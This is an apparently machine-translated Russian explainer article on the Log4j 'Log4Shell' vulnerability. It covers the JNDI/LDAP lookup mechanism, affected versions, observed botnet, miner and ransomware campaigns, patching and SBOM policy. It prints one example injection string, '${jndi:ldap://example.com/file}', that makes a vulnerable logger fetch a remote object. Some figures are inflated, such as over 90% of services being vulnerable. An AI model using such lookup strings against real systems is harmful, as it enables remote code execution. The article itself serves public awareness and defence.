Содержание[Скрывать][Показывать]
В конце ноября 2021 года мы обнаружили серьезную угрозу кибербезопасности. Этот эксплойт потенциально затронет миллионы компьютерных систем по всему миру.
Это руководство об уязвимости Log4j и о том, как из-за незамеченной конструктивной ошибки более 90% мировых компьютерных сервисов стали уязвимыми для атак.
Apache Log4j — это утилита ведения журналов на основе Java с открытым исходным кодом, разработанная Apache Software Foundation. Первоначально написанный Ceki Gülcü в 2001 году, теперь он является частью Apache Logging Services, проекта Apache Software Foundation.
Компании по всему миру используют библиотеку Log4j для ведения журналов в своих приложениях. На самом деле библиотека Java настолько распространена, что вы можете найти ее в приложениях от Amazon, Microsoft, Google и других.
Известность библиотеки означает, что любая потенциальная ошибка в коде может сделать миллионы компьютеров открытыми для взлома. 24 ноября 2021 г. облако безопасности Исследователь, работающий на Alibaba, обнаружил ужасный недостаток.
Уязвимость Log4j, также известная как Log4Shell, существовала незамеченной с 2013 года. Уязвимость позволяла злоумышленникам запускать код на уязвимых системах с Log4j. Публично обнародовано 9 декабря 2021 г.
Отраслевые эксперты называют недостаток Log4Shell самая большая уязвимость за последнее время.
За неделю после публикации уязвимости группы кибербезопасности зафиксировали миллионы атак. Некоторые исследователи даже наблюдали скорость более ста атак в минуту.
Как это работает?
Чтобы понять, почему Log4Shell так опасен, нам нужно понять, на что он способен.
Уязвимость Log4Shell допускает выполнение произвольного кода, что в основном означает, что злоумышленник может запустить любую команду или код на целевой машине.
Как это сделать?
Во-первых, нам нужно понять, что такое JNDI.
Интерфейс именования и каталогов Java (JNDI) — это служба Java, которая позволяет программам Java обнаруживать и искать данные и ресурсы по имени. Эти службы каталогов важны, поскольку они предоставляют разработчикам организованный набор записей, на который легко ссылаться при создании приложений.
JNDI может использовать различные протоколы для доступа к определенному каталогу. Одним из таких протоколов является облегченный протокол доступа к каталогам или LDAP.
При регистрации строки Лог4дж выполняет замены строк, когда они сталкиваются с выражениями формы ${prefix:name}
.
Например, Text: ${java:version}
может регистрироваться как Текст: Java версии 1.8.0_65. Такого рода замены являются обычным явлением.
Мы также можем иметь такие выражения, как Text: ${jndi:ldap://example.com/file}
который использует систему JNDI для загрузки объекта Java из URL-адреса через протокол LDAP.
Это эффективно загружает данные, поступающие с этого URL-адреса, в машину. Любой потенциальный хакер может разместить вредоносный код на общедоступном URL-адресе и ждать, пока компьютеры, использующие Log4j, зарегистрируют его.
Поскольку содержимое сообщений журнала содержит данные, контролируемые пользователем, хакеры могут вставлять свои собственные ссылки JNDI, указывающие на серверы LDAP, которые они контролируют. Эти серверы LDAP могут быть заполнены вредоносными объектами Java, которые JNDI может выполнить через уязвимость.
Что еще хуже, так это то, что не имеет значения, является ли приложение серверным или клиентским приложением.
Пока у регистратора есть способ прочитать вредоносный код злоумышленника, приложение по-прежнему открыто для эксплойтов.
Кто пострадал?
Уязвимость затрагивает все системы и службы, использующие APache Log4j, с версиями 2.0 до 2.14.1 включительно.
Несколько экспертов по безопасности сообщают, что уязвимость может повлиять на ряд приложений, использующих Java.
Уязвимость впервые была обнаружена в видеоигре Minecraft, принадлежащей Microsoft. Microsoft призвала своих пользователей обновить программное обеспечение Minecraft для Java, чтобы предотвратить любой риск.
Джен Истерли, директор Агентства кибербезопасности и безопасности инфраструктуры (CISA), говорит, что поставщики большая ответственность для защиты конечных пользователей от злоумышленников, использующих эту уязвимость.
«Поставщики также должны общаться со своими клиентами, чтобы конечные пользователи знали, что их продукт содержит эту уязвимость, и должны отдавать приоритет обновлениям программного обеспечения».
Сообщается, что атаки уже начались. Symantec, компания, которая предоставляет программное обеспечение для кибербезопасности, наблюдала различное количество запросов об атаках.
Вот несколько примеров типов атак, обнаруженных исследователями:
- ботнеты
Ботнеты — это сеть компьютеров, находящихся под контролем одной атакующей стороны. Они помогают выполнять DDoS-атаки, красть данные и другие виды мошенничества. Исследователи наблюдали ботнет Muhstik в сценариях оболочки, загруженных из эксплойта Log4j.
- Троянец-майнер XMRig
XMRig — это майнер криптовалюты с открытым исходным кодом, который использует процессоры для майнинга токена Monero. Киберпреступники могут устанавливать XMRig на устройства людей, чтобы те могли использовать их вычислительную мощность без их ведома.
- Хонсари-вымогатель
Программа-вымогатель относится к форме вредоносного ПО, предназначенного для зашифровать файлы на компьютере. Затем злоумышленники могут потребовать оплату в обмен на предоставление доступа к зашифрованным файлам. Исследователи обнаружили программу-вымогатель Khonsari в атаках Log4Shell. Они нацелены на серверы Windows и используют платформу .NET.
Что происходит дальше?
Эксперты предсказывают, что могут потребоваться месяцы или, возможно, даже годы, чтобы полностью исправить хаос, вызванный уязвимостью Log4J.
Этот процесс включает в себя обновление каждой затронутой системы исправленной версией. Даже если все эти системы будут пропатчены, все еще существует надвигающаяся угроза возможных бэкдоров, которые хакеры, возможно, уже добавили в окно, когда серверы были открыты для атак.
Много решения и смягчения существует, чтобы предотвратить использование приложений этой ошибкой. В новой версии Log4j 2.15.0-rc1 были изменены различные настройки, чтобы уменьшить эту уязвимость.
Все функции, использующие JNDI, будут отключены по умолчанию, а удаленный поиск также ограничен. Отключение функции поиска в настройках Log4j поможет снизить риск возможных эксплойтов.
Помимо Log4j, по-прежнему необходим более широкий план предотвращения эксплойтов с открытым исходным кодом.
Ранее в мае Белый дом опубликовал распоряжение которые были направлены на повышение национальной кибербезопасности. Он включал положение о спецификации программного обеспечения (SBOM), которая по сути была официальным документом, содержащим список всех элементов, необходимых для создания приложения.
Сюда входят такие части, как с открытым исходным кодом пакеты, зависимости и API, используемые для разработки. Хотя идея SBOM полезна для прозрачности, действительно ли она поможет потребителю?
Обновление зависимостей может быть слишком хлопотным. Компании могут просто заплатить любые штрафы, а не рисковать тратить дополнительное время на поиск альтернативных пакетов. Возможно, эти SBOM будут полезны только в том случае, если их сфера ограничивается дальше.
Заключение
Проблема Log4j — это больше, чем просто техническая проблема для организаций.
Бизнес-лидеры должны знать о потенциальных рисках, которые могут возникнуть, когда их серверы, продукты или услуги полагаются на код, который они сами не поддерживают.
Использование приложений с открытым исходным кодом и сторонних приложений всегда сопряжено с определенным риском. Компании должны рассмотреть возможность разработки стратегий снижения рисков до того, как выявятся новые угрозы.
Большая часть Интернета опирается на программное обеспечение с открытым исходным кодом, поддерживаемое тысячами добровольцев по всему миру.
Если мы хотим, чтобы Интернет оставался безопасным местом, правительства и корпорации должны инвестировать в финансирование проектов с открытым исходным кодом и агентств по кибербезопасности, таких как CISA.
Оставьте комментарий